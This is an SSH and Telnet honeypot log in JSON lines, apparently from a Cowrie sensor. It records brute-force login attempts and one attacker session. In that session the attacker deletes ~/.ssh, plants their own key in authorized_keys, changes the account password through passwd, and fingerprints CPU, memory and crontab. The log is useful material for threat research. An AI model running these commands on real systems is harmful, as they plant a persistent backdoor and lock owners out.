{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:04.270791Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:04.275142Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:04.523921Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:05.079943Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:05.083954Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:05.345050Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:05.349232Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":48280,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ebd4f20dc50","protocol":"ssh","message":"New connection: 114.141.59.195:48280 (159.203.135.109:22) [session: 0ebd4f20dc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:05.573792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:05.583012Z","src_ip":"114.141.59.195","session":"0ebd4f20dc50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:05.834488Z","src_ip":"114.141.59.195","session":"0ebd4f20dc50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:06.859786Z","src_ip":"114.141.59.195","session":"0ebd4f20dc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":42530,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b67a9c7a2d9","protocol":"telnet","message":"New connection: 162.248.7.67:42530 (159.203.135.109:23) [session: 2b67a9c7a2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:07.867646Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:08.167330Z","src_ip":"114.141.59.195","session":"0ebd4f20dc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":38316,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e6672a2f074","protocol":"ssh","message":"New connection: 114.141.59.195:38316 (159.203.135.109:22) [session: 7e6672a2f074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:08.407901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:08.416150Z","src_ip":"114.141.59.195","session":"7e6672a2f074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:08.662060Z","src_ip":"114.141.59.195","session":"7e6672a2f074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.728463888168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:08.962546Z","src_ip":"162.248.7.67","session":"381ea73ea50b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":43602,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcf98cfc49c6","protocol":"telnet","message":"New connection: 162.248.7.67:43602 (159.203.135.109:23) [session: dcf98cfc49c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:09.188723Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:09.683064Z","src_ip":"114.141.59.195","session":"7e6672a2f074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":43788,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ef0d03726d9","protocol":"telnet","message":"New connection: 162.248.7.67:43788 (159.203.135.109:23) [session: 1ef0d03726d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:10.454799Z"}
{"eventid":"cowrie.session.closed","duration":45.3401198387146,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:10.900593Z","src_ip":"137.184.155.248","session":"b659ddebf3ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:10.934883Z","src_ip":"114.141.59.195","session":"7e6672a2f074","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:11.243928Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:11.247575Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:11.500688Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.027266Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@1234\\nZNWuX8TygLkY\\nZNWuX8TygLkY\"|passwd|bash","message":"CMD: echo -e \"Admin@1234\\nZNWuX8TygLkY\\nZNWuX8TygLkY\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.030997Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.034946Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.038485Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/da1eea2b823bcb3fa07907c03c19c159c26b20e2aa2d80999954f6e33c4644b7","size":32,"shasum":"da1eea2b823bcb3fa07907c03c19c159c26b20e2aa2d80999954f6e33c4644b7","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/da1eea2b823bcb3fa07907c03c19c159c26b20e2aa2d80999954f6e33c4644b7 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.286593Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42016,"dst_ip":"10.17.0.5","dst_port":23,"session":"54369f54df04","protocol":"telnet","message":"New connection: 137.184.155.248:42016 (10.17.0.5:23) [session: 54369f54df04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.618047Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.823002Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@1234\\nZNWuX8TygLkY\\nZNWuX8TygLkY\\n\"|passwd","message":"CMD: echo \"Admin@1234\\nZNWuX8TygLkY\\nZNWuX8TygLkY\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:12.826733Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/427994c2bf4b16b4145453ee58e3b839c6b0c607a544e332fae975660771d7cf","size":25,"shasum":"427994c2bf4b16b4145453ee58e3b839c6b0c607a544e332fae975660771d7cf","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/427994c2bf4b16b4145453ee58e3b839c6b0c607a544e332fae975660771d7cf after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:13.071557Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:13.653582Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:13.657280Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":41802,"dst_ip":"10.17.0.5","dst_port":22,"session":"397277623862","protocol":"ssh","message":"New connection: 203.90.110.186:41802 (10.17.0.5:22) [session: 397277623862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:13.843394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:13.850442Z","src_ip":"203.90.110.186","session":"397277623862","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:13.910574Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:14.088691Z","src_ip":"203.90.110.186","session":"397277623862","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:14.448000Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:14.452009Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:14.699527Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":47852,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d5ba3c78fba","protocol":"telnet","message":"New connection: 162.248.7.67:47852 (159.203.135.109:23) [session: 9d5ba3c78fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:14.975618Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"p@ssw0rd","message":"login attempt [administrator/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:15.063204Z","src_ip":"203.90.110.186","session":"397277623862","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:15.220983Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:15.224601Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:15.229154Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42028,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f7ec870b90","protocol":"telnet","message":"New connection: 137.184.155.248:42028 (10.17.0.5:23) [session: 89f7ec870b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:15.381462Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:15.487132Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.47494649887085,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:15.766795Z","src_ip":"137.184.155.248","session":"454660ce04a1","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:16.035191Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:16.039129Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:16.287179Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:16.308010Z","src_ip":"203.90.110.186","session":"397277623862","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:16.822172Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
